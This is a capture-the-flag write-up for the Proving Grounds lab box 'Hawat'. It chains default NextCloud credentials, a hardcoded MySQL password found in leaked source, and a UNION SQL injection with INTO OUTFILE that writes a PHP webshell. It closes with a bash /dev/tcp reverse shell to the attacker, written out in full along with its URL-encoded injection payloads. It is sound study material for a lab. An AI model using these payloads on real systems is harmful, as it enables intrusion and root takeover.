the_open_door
coffee
ESEN

Hawat

Proving Grounds PracticeEasyLinux192.168.188.147

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#nextcloud#default-credentials#source-code-disclosure#sqli#union-based#into-outfile#php-webshell#rce#phpinfo#mysql#oscp
TL;DR. Hawat exposes three web apps. On the NextCloud at 50080 we log in with admin:admin (weak credentials) and download the Issue Tracker source (issuetracker.zip); it reveals a SQLi in /issue/checkByPriority and the MySQL password (ManagementInsideOld797), which connects as database root. The phpinfo on 30455 leaks the document root (/srv/http). With the Issue Tracker SQLi (17445) and a UNION + INTO OUTFILE we write a webshell to /srv/http/cmd.php (SQLi to file write); since the PHP server runs as root, the webshell executes commands as root and a reverse shell finishes the box.

Recon

Initial scan

The reply TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan.

ping -c 1 192.168.188.147
64 bytes from 192.168.188.147: icmp_seq=1 ttl=61 time=29.9 ms

We sweep all TCP ports, then fingerprint versions:

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.188.147
PORT      STATE SERVICE
22/tcp    open  ssh
17445/tcp open  http
30455/tcp open  http
50080/tcp open  http
nmap -p22,17445,30455,50080 -sCV 192.168.188.147 -oN targetedScan
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.4 (protocol 2.0)
17445/tcp open  http    Apache Tomcat (language: en)
|_http-title: Issue Tracker
30455/tcp open  http    nginx 1.18.0
|_http-title: W3.CSS
50080/tcp open  http    Apache httpd 2.4.46 ((Unix) PHP/7.4.15)
|_http-title: W3.CSS Template

Three web fronts on high ports: an Issue Tracker on Tomcat (17445), an nginx (30455) and an Apache with PHP (50080). Three apps that likely share data or filesystem: that's usually the thread in these boxes.

NextCloud - TCP 50080

dirsearch on 50080 finds a /cloud that redirects to a NextCloud login. We try default credentials and get in with admin:admin (weak credentials):

NextCloud login at /cloud accessible with admin:admin

Inside, among the user's files are an issuetracker.zip (the source code of the 17445 app) and a wshell.php:

NextCloud files showing issuetracker.zip and wshell.php

We download and unzip it to audit the code:

unzip issuetracker.zip
grep -ri password .

grep -ri password reveals ManagementInsideOld797 in IssueController.java and application.properties

./src/main/java/com/issue/tracker/config/WebSecurityConfig.java:    return new BCryptPasswordEncoder();
./src/main/java/com/issue/tracker/issues/IssueController.java:     connectionProps.put("password", "ManagementInsideOld797");
./src/main/resources/application.properties:spring.datasource.password=ManagementInsideOld797
./src/main/resources/templates/user_form.html:                    <label>Password</label>
./src/main/resources/templates/login.html:                        <label>Password</label>

Grepping for passwords turns up ManagementInsideOld797 (in IssueController.java and application.properties); its context shows both the MySQL connection and the vulnerable endpoint:

grep -ri ManagementInsideOld797 . -A 10

Issue Tracker source: /issue/checkByPriority endpoint with the concatenated query and the MySQL connection using the password ManagementInsideOld797

The key fragment is the /issue/checkByPriority controller, which concatenates the priority parameter straight into the query and connects to MySQL as root:

@GetMapping("/issue/checkByPriority")
... connectionProps.put("password", "ManagementInsideOld797");
... DriverManager.getConnection("jdbc:mysql://localhost:3306/issue_tracker", ...);
String query = "SELECT message FROM issue WHERE \"+priority+\"";
... stmt.executeQuery(query);

Two things: a SQLi confirmed by code, and the DB runs as root (with the FILE privilege needed for INTO OUTFILE).

phpinfo - TCP 30455

dirsearch on 30455 finds a phpinfo.php. That page leaks the PHP server's DOCUMENT_ROOT:

dirsearch -u http://192.168.188.147:30455 --exclude-status=403,404

phpinfo on 30455 showing DOCUMENT_ROOT = /srv/http

$_SERVER['DOCUMENT_ROOT']  ->  /srv/http

That's the missing piece: if we can write a file into /srv/http, the PHP server will execute it. It's the natural target for INTO OUTFILE.

Issue Tracker - TCP 17445

The 17445 app is an Issue Tracker with a public issue list and Register and Sign In buttons:

Issue Tracker on 17445 with the issue list and the Register and Sign In buttons

No need to guess credentials: the users module lets you register. We create an account (kmn9) and log in:

Issue Tracker register module creating the user kmn9

And we authenticate with that account:

Issue Tracker login as kmn9

Once authenticated, we reach the checkByPriority endpoint. A GET returns a Whitelabel Error Page with 405 Method Not Allowed, so we intercept the request with Burp:

/issue/checkByPriority with GET gives 405 Method Not Allowed; Burp intercepts the request

From Burp's Repeater, Change request method turns it into a POST, the verb the controller expects:

Burp Repeater: Change request method to switch the GET to POST

SQLi to RCE

UNION + INTO OUTFILE: webshell in /srv/http

The priority parameter isn't sanitized. The technique is a SQLi that writes PHP code into a file with INTO OUTFILE and then runs it through the web server, a documented pattern:

GitHub SQLI+LFI=RCE reference: a SELECT with a PHP system call INTO OUTFILE to a .php file on the server

We craft a UNION injection that, instead of returning data, writes a PHP file into the discovered document root (/srv/http), using the FILE privilege of MySQL's root account (SQLi with INTO OUTFILE):

' union select '<?php echo system($_GET["cmd"]); ?>' into outfile '/srv/http/cmd.php' -- -

We send it through the priority parameter, URL-encoded (with urlencoder.org) in the authenticated request:

urlencoder.org encoding the UNION + INTO OUTFILE payload

%27%20union%20select%20%27%3C%3Fphp%20echo%20system%28%24_GET%5B%22cmd%22%5D%29%3B%20%3F%3E%27%20into%20outfile%20%27%2Fsrv%2Fhttp%2Fcmd.php%27%20--%20-

UNION injection with INTO OUTFILE writing cmd.php to /srv/http, URL-encoded

Shell as root

The webshell runs as root

The file lands at /srv/http/cmd.php, served by the PHP on 30455. We invoke it and check who runs it:

curl 'http://192.168.188.147:30455/cmd.php?cmd=id'

cmd.php?cmd=id returning uid=0(root): the PHP server runs as root

uid=0(root) gid=0(root) groups=0(root)

The PHP server runs as root, so the webshell already gives us execution as root. We fire a reverse shell (URL-encoded) to our listener:

Before triggering the shell, we set up an nc listener:

penelope 50080

We URL-encode the reverse shell the same way before passing it through cmd:

urlencoder.org encoding bash -i &gt;&amp; /dev/tcp/192.168.45.227/50080 0&gt;&amp;1

Encode to URL-encoded format

bash -i >& /dev/tcp/192.168.45.227/50080 0>&1

  Destination character set:   UTF-8
  Destination newline separator: LF (Unix)
  [ ENCODE ]

bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.227%2F50080%200%3E%261
# cmd = bash -i >& /dev/tcp/192.168.45.227/50080 0>&1
curl 'http://192.168.188.147:30455/cmd.php?cmd=bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.45.227%2F50080%200%3E%261'

Reverse shell received as root@hawat after invoking the webshell

(Penelope)> listeners add -p 50080
[+] Listening for reverse shells on 0.0.0.0:50080 ...
[+] Got reverse shell from hawat~192.168.188.147-Linux-x86_64 😎 Assigned SessionID <1>
[+] Shell upgraded successfully using /usr/sbin/script!
[root@hawat http]# id
uid=0(root) gid=0(root) groups=0(root)

We read the proof (we're root directly, no escalation):

cat proof.txt && whoami && ip a

proof.txt read as root on hawat, with whoami root and IP 192.168.188.147

a08809bafff16d885f39db1615f7613f

Attack chain

NextCloud (50080)  --  admin:admin
        │  download issuetracker.zip (source code)
        │   -> SQLi in /issue/checkByPriority + MySQL root (ManagementInsideOld797)
        ▼
phpinfo (30455)  --  DOCUMENT_ROOT = /srv/http
        ▼
Issue Tracker (17445)  --  register -> authenticated SQLi
        │  ' union select '<?php ... ?>' into outfile '/srv/http/cmd.php' -- -
        ▼
webshell /srv/http/cmd.php  --  served by PHP running as root
        │  cmd=id -> uid=0(root)  ->  reverse shell
        ▼
shell as root  (proof.txt)

Lessons learned

  • Leaked source code is half the box. Downloading issuetracker.zip from NextCloud revealed both the injection point and the database password. Source containing secrets should never sit in an accessible share.
  • Concatenating parameters into SQL is the same old bug. WHERE "+priority+" without prepared statements turns a search field into arbitrary file write.
  • INTO OUTFILE needs three things lined up. A connection as a user with the FILE privilege (here MySQL root), a known writable path (phpinfo gave /srv/http) and something to execute what's written (the PHP server). Break any of the three and the chain fails.
  • A web server running as root turns RCE into game over. There was no escalation because the PHP was already root. Running services as an unprivileged user would have left the RCE as www-data and forced a second phase.
Command cheatsheet 9 commands

Quick review